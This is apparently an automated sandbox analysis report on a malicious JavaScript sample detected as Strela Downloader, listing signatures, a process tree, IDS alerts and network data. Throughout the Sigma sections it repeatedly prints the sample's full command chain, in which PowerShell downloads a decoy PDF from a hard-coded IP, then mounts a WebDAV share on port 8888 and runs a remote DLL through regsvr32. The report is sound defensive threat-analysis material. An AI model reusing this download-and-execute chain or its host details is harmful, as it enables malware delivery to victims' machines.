Edit tour

Windows Analysis Report
2836992752554325080.js

Overview

General Information

Sample name:	2836992752554325080.js
Analysis ID:	1589076
MD5:	783137157899c46f37a871d5e271a34b
SHA1:	df4b6a069cb22c7b0af448271a1e5b46ba5dd5e7
SHA256:	bca9da647269b28e63f225ca1255a056194255e210b69053a16183bef4b72dd4
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1776 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4432 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3160 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4708 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3428 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6152 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1672,i,1573266173070229235,7893960405040525869,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7024 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2888 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5472 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1776	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3160, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3160, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", ProcessId: 1776, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2888, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", ProcessId: 1776, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3160, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7024, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2888, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5472, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7024, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2888, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4432, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:14:20.193302+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:14:22.787200+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:14:20.193302+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2836992752554325080.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2836992752554325080.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2836992752554325080.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:14:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

